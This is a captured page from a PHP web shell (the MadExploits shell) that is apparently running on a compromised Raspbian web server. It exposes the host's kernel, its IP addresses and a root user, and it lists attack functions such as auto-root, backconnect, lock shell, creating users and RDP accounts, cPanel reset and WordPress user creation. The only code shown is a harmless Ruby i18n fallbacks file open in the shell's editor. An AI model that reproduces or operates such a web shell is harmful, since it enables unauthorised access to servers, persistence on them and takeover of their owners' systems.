Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
i18n /
backend /
[ HOME SHELL ]
Name
Size
Permission
Action
base.rb
10.45
KB
-rw-r--r--
cache.rb
3.41
KB
-rw-r--r--
cache_file.rb
1.35
KB
-rw-r--r--
cascade.rb
2.15
KB
-rw-r--r--
chain.rb
3.94
KB
-rw-r--r--
fallbacks.rb
3.17
KB
-rw-r--r--
flatten.rb
3.76
KB
-rw-r--r--
gettext.rb
2.82
KB
-rw-r--r--
interpolation_compiler.rb
3.71
KB
-rw-r--r--
key_value.rb
5.91
KB
-rw-r--r--
memoize.rb
1.35
KB
-rw-r--r--
metadata.rb
2.17
KB
-rw-r--r--
pluralization.rb
2.08
KB
-rw-r--r--
simple.rb
3.42
KB
-rw-r--r--
transliterator.rb
4.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fallbacks.rb
# frozen_string_literal: true # I18n locale fallbacks are useful when you want your application to use # translations from other locales when translations for the current locale are # missing. E.g. you might want to use :en translations when translations in # your applications main locale :de are missing. # # To enable locale fallbacks you can simply include the Fallbacks module to # the Simple backend - or whatever other backend you are using: # # I18n::Backend::Simple.include(I18n::Backend::Fallbacks) module I18n @@fallbacks = nil class << self # Returns the current fallbacks implementation. Defaults to +I18n::Locale::Fallbacks+. def fallbacks @@fallbacks ||= I18n::Locale::Fallbacks.new end # Sets the current fallbacks implementation. Use this to set a different fallbacks implementation. def fallbacks=(fallbacks) @@fallbacks = fallbacks end end module Backend module Fallbacks # Overwrites the Base backend translate method so that it will try each # locale given by I18n.fallbacks for the given locale. E.g. for the # locale :"de-DE" it might try the locales :"de-DE", :de and :en # (depends on the fallbacks implementation) until it finds a result with # the given options. If it does not find any result for any of the # locales it will then throw MissingTranslation as usual. # # The default option takes precedence over fallback locales only when # it's a Symbol. When the default contains a String, Proc or Hash # it is evaluated last after all the fallback locales have been tried. def translate(locale, key, options = EMPTY_HASH) return super unless options.fetch(:fallback, true) return super if options[:fallback_in_progress] default = extract_non_symbol_default!(options) if options[:default] fallback_options = options.merge(:fallback_in_progress => true) I18n.fallbacks[locale].each do |fallback| begin catch(:exception) do result = super(fallback, key, fallback_options) return result unless result.nil? end rescue I18n::InvalidLocale # we do nothing when the locale is invalid, as this is a fallback anyways. end end return if options.key?(:default) && options[:default].nil? return super(locale, nil, options.merge(:default => default)) if default throw(:exception, I18n::MissingTranslation.new(locale, key, options)) end def extract_non_symbol_default!(options) defaults = [options[:default]].flatten first_non_symbol_default = defaults.detect{|default| !default.is_a?(Symbol)} if first_non_symbol_default options[:default] = defaults[0, defaults.index(first_non_symbol_default)] end return first_non_symbol_default end def exists?(locale, key) I18n.fallbacks[locale].each do |fallback| begin return true if super(fallback, key) rescue I18n::InvalidLocale # we do nothing when the locale is invalid, as this is a fallback anyways. end end false end end end end
Close